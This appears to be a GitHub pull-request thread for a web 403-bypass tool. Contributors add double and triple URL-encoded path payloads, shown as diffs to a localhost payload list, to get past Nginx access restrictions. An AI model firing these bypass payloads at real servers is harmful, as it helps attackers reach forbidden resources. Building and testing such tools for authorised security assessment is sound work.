Added Double URL-Encoding - Nginx 403 Bypass

[Nishantbhagat57]

Added Double URL-Encoding for Nginx 403 Bypass.

Reference: https://www.youtube.com/watch?v=TqKb7h8VFcA
Timeline: [4:08]

[laluka]

Changes seem to be 👍 !

diff --git a/tests-history/bup-payloads-2024-08-30.lst b/tests-history/bup-payloads-2024-10-23.lst
index 74b0aac..efd32fe 100644
--- a/tests-history/bup-payloads-2024-08-30.lst
+++ b/tests-history/bup-payloads-2024-10-23.lst
@@ -10,6 +10,12 @@
 [char_encode] http://127.0.0.1:8000/foo/%62ar
 [char_encode] http://127.0.0.1:8000/foo/b%61r
 [char_encode] http://127.0.0.1:8000/foo/ba%72
+[char_encode_double] http://127.0.0.1:8000/%2566oo/bar
+[char_encode_double] http://127.0.0.1:8000/f%256fo/bar
+[char_encode_double] http://127.0.0.1:8000/fo%256f/bar
+[char_encode_double] http://127.0.0.1:8000/foo/%2562ar
+[char_encode_double] http://127.0.0.1:8000/foo/b%2561r
+[char_encode_double] http://127.0.0.1:8000/foo/ba%2572
 [end_paths] http://127.0.0.1:8000/foo/bar#
 [end_paths] http://127.0.0.1:8000/foo/bar#/
 [end_paths] http://127.0.0.1:8000/foo/bar#/./
@@ -3957,4 +3963,4 @@
 [user_agent] -H User-Agent: null http://127.0.0.1:8000/foo/bar
 [user_agent] -H User-Agent: okhttp/3.14.9 http://127.0.0.1:8000/foo/bar
 [user_agent] -H User-Agent: python-requests/2.20.0 http://127.0.0.1:8000/foo/bar
-Bypasser has generated 3959 payloads for 'http://127.0.0.1:8000/foo/bar' url:
+Bypasser has generated 3965 payloads for 'http://127.0.0.1:8000/foo/bar' url:

[laluka]

Just added triple url encode, that way we'll be future proof! 🙃
(Happens when there are 2+ rev proxy doing url decoding before the app)

[laluka]

diff --git a/tests-history/bup-payloads-2024-08-30.lst b/tests-history/bup-payloads-2024-10-23.lst
index 74b0aac..c3635a6 100644
--- a/tests-history/bup-payloads-2024-08-30.lst
+++ b/tests-history/bup-payloads-2024-10-23.lst
@@ -10,6 +10,18 @@
 [char_encode] http://127.0.0.1:8000/foo/%62ar
 [char_encode] http://127.0.0.1:8000/foo/b%61r
 [char_encode] http://127.0.0.1:8000/foo/ba%72
+[char_encode_double] http://127.0.0.1:8000/%2566oo/bar
+[char_encode_double] http://127.0.0.1:8000/f%256fo/bar
+[char_encode_double] http://127.0.0.1:8000/fo%256f/bar
+[char_encode_double] http://127.0.0.1:8000/foo/%2562ar
+[char_encode_double] http://127.0.0.1:8000/foo/b%2561r
+[char_encode_double] http://127.0.0.1:8000/foo/ba%2572
+[char_encode_triple] http://127.0.0.1:8000/%252566oo/bar
+[char_encode_triple] http://127.0.0.1:8000/f%25256fo/bar
+[char_encode_triple] http://127.0.0.1:8000/fo%25256f/bar
+[char_encode_triple] http://127.0.0.1:8000/foo/%252562ar
+[char_encode_triple] http://127.0.0.1:8000/foo/b%252561r
+[char_encode_triple] http://127.0.0.1:8000/foo/ba%252572
 [end_paths] http://127.0.0.1:8000/foo/bar#
 [end_paths] http://127.0.0.1:8000/foo/bar#/
 [end_paths] http://127.0.0.1:8000/foo/bar#/./
@@ -3957,4 +3969,4 @@
 [user_agent] -H User-Agent: null http://127.0.0.1:8000/foo/bar
 [user_agent] -H User-Agent: okhttp/3.14.9 http://127.0.0.1:8000/foo/bar
 [user_agent] -H User-Agent: python-requests/2.20.0 http://127.0.0.1:8000/foo/bar
-Bypasser has generated 3959 payloads for 'http://127.0.0.1:8000/foo/bar' url:
+Bypasser has generated 3971 payloads for 'http://127.0.0.1:8000/foo/bar' url:

[jtof-fap]

A great addition to the tool !

[laluka]

Merged through #52 🌹
Thanks a lot @Nishantbhagat57 😘

[Nishantbhagat57]

Merged through #52 🌹
Thanks a lot @Nishantbhagat57 😘

🫶